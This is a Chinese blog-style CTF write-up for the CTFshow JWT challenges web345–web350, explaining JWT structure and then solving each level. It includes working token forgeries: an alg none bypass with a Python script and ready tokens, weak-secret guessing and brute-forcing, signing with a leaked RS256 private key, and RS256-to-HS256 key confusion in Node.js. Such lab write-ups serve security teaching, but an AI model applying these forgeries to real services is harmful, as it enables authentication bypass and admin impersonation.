CTFshow JWT

CTFshow JWT

前言

JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案,该规范允许我们通过JWT在用户和服务器之间安全可靠地传递信息。

原理

JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,就像下面这样。

{
  "name":"Andy",
  "gender":"男",
  "age":"18"
}

以后,用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名(详见后文)。服务器就不保存任何 session 数据了,也就是说,服务器变成无状态了,从而比较容易实现扩展。

结构

JWT的数据分为三部分:头部(HEADER),有效载荷(PAYLOAD),签名(SIGNATURE)。

头部:

{
  "alg": "None",
  "typ": "jwt"
}

alg表示算法,默认为HS256。

typ表示类型,JWT令牌统一写为JWT。

有效载荷:

此部分用来存放传递的数据,JWT 规定了7个官方字段,供选用。

iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号

除了官方字段也可以定义私有字段

{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": true
}

JWT 默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。

签名:

Signature 部分是对前两部分的签名,防止数据篡改。

首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名。

HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  secret)

算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.​)分隔,就可以返回给用户。

Base64URL:

前面提到,Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。

JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+​、/​和=​,在 URL 里面有特殊含义,所以要被替换掉:=​被省略、+​替换成-​,/​替换成_​ 。这就是 Base64URL 算法。

web345

查看源代码提示我们访问/admin,访问admin之后又自动跳转到index.php,猜测不是admin用户自动跳转。

查看cookie发现有认证信息

auth
eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjkyNjIxNjIsImV4cCI6MTY2OTI2OTM2MiwibmJmIjoxNjY5MjYyMTYyLCJzdWIiOiJ1c2VyIiwianRpIjoiMTcxYzNkNTM1ZmE4Y2Q3NmVlNmRmM2M1NmY3MjgwYjgifV0

复制下来放到https://jwt.io/

image

发现只有头部和有效载荷部分,没有签名

这个网站在alg为None的情况下无法修改payload,我们把alg修改为HS256,修改payload中的user为admin,再把payload直接发送过去,不需要和头部拼接。

image

payload:

W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2NjkyNjMxNDAsImV4cCI6MTY2OTI3MDM0MCwibmJmIjoxNjY5MjYzMTQwLCJzdWIiOiJhZG1pbiIsImp0aSI6ImFjMjVkYTQwYjMzZjg4ZGMzOGYxNjEzZTlhZThmZmJmIn1d

JWT生成算法

import base64
def jwtBase64Encode(x):
    return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ":"JWT","alg":"none"}'
payload = '{"iss":"admin","iat":1610777230,"exp":1610784430,"nbf":1610777230,"sub":"admin",' \
          '"jti":"a2c361f745f3e100752ad84e566a811b"} '

print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')

web346-None算法

cookie解码发现头部带有HS256。

一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验。

将头部的alg替换为None然后修改user为admin,再把头部和payload拼接,最后面加个点。

因为JWT本身是带签名的,所以我们需要在后面加上一个点。

eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2OTI2NDk5NywiZXhwIjoxNjY5MjcyMTk3LCJuYmYiOjE2NjkyNjQ5OTcsInN1YiI6ImFkbWluIiwianRpIjoiNzkzM2JiN2M3NjY4OGFmYWQyYTc0OWM4YzY3ZDk4MzIifQ.

web347-弱密码

根据题目提示弱密码,猜测签名密码为123456

image

web348-爆破

使用工具爆破密码,下载地址:https://github.com/brendan-rius/c-jwt-cracke,使用方法文档里有。

这道题爆破的很快,密码为aaab。

image

web349-非对称加密RS256

这三种算法都是一种消息签名算法,得到的都只是一段无法还原的签名。区别在于消息签名签名验证需要的 「key」不同。

  1. HS256 使用同一个「secret_key」进行签名与验证(对称加密)。一旦 secret_key 泄漏,就毫无安全性可言了。

    • 因此 HS256 只适合集中式认证,签名和验证都必须由可信方进行。
    • 传统的单体应用广泛使用这种算法,但是请不要在任何分布式的架构中使用它!
  2. RS256 是使用 RSA 私钥进行签名,使用 RSA 公钥进行验证。公钥即使泄漏也毫无影响,只要确保私钥安全就行。

    • RS256 可以将验证委托给其他应用,只要将公钥给他们就行。
  3. ES256 和 RS256 一样,都使用私钥签名,公钥验证。算法速度上差距也不大,但是它的签名长度相对短很多(省流量),并且算法强度和 RS256 差不多。

分析源码我们可以下载私钥,访问/private.key,我们只需要把数据用私钥签名发过去就行

需要安装jsonwebtoken库 npm install jsonwebtoken --save

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('private.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'RS256' });
console.log(token)

记得POST一下

web350-非对称加密改为对称加密

这道题的源码和上题一样,但是私钥无法获取,只能获取公钥。

把加密算法改一下。

如果将算法从RS256改为HS256,则后端代码将使用公钥作为密钥,然后使用HS256算法验证签名。

由于攻击者有时可以获取公钥,因此,攻击者可以将头部中的算法修改为HS256,然后使用RSA公钥对数据进行签名。

这样的话,后端代码使用RSA公钥+HS256算法进行签名验证。

const jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

记得POST一下

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值